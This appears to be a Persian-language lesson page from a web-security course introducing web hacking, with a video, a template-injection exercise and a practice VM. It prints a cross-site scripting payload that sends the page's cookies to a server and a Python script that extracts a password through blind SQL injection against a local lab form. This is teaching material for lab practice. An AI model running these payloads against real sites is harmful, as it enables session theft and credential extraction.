ندید آن سرورِ وب را رخنهای که در وی تواند زند طعنهای
پطرس فداکار
را که یادتان هست؟ در این منزل، بر خلاف پطرس، میخواهیم در سدّ سدیدِ سامانههای وب، حفره پیدا کنیم و نه تنها آن حفره را با انگشت خود پر نکنیم، بلکه حتی آن را تبدیل به یک شکاف اساسی کنیم!
دشواریِ یافتنِ حفره در سامانههای وب، تقریبا در همان حدّ دشواریِ یافتن حفره در سامانههای نرمافزاری و سختافزاری و ... است اما به طور رایج وقتی حرف از «هکری» زده میشود، رخنه کردن در سامانههای وب در ذهن شنونده متبادر میشود. (بد نیست همین جا اشاره کنم که برگردان فارسی واژهی «هکری»، «رخنهگری» است و بر خلاف نظر شما، به نظر بنده اتفاقا خیلی هم برگردان خوبی است!)
به هر ترتیب، با ویدیوی زیر منزل وب را آغاز میکنیم!
برای تست تمرین تمپلتاینجکشن مقدمه میتوانید از اینجا استفاده کنید
برخی موارد که در این ویدئو به آنها اشاره شد:
برای شبیهسازی دو سوال اول مقدمه، میتوانید ماشین مجازی روبرو را دانلود و اجرا کنید:
دانلود (حجم 843 مگابایت)
همچنین برای بخش xss اسکریپت زیر را تزریق میکنیم (اگر این کد را کپی کنید اجرا نخواهد شد 😁):
<script>document.createElement("img").src="http://localhost?"+document.cookie;</script>
برای حل سوال sqli هم از کد زیر استفاده کردیم:
# NeverStorePlaintextPa$$w0rd import requests import string s = '' while(True): for c in string.ascii_letters+string.digits+'~!@#$^&*()_+=-":;?/.,<>|\}{[]': data = { "username": "parcham' OR password like binary '{}%' AND ''='".format(s+c)} print(data) r = requests.post("http://localhost:8008/forgot", data=data) print(r.text) if r.text == 'Okay': s += c break else: print(s) break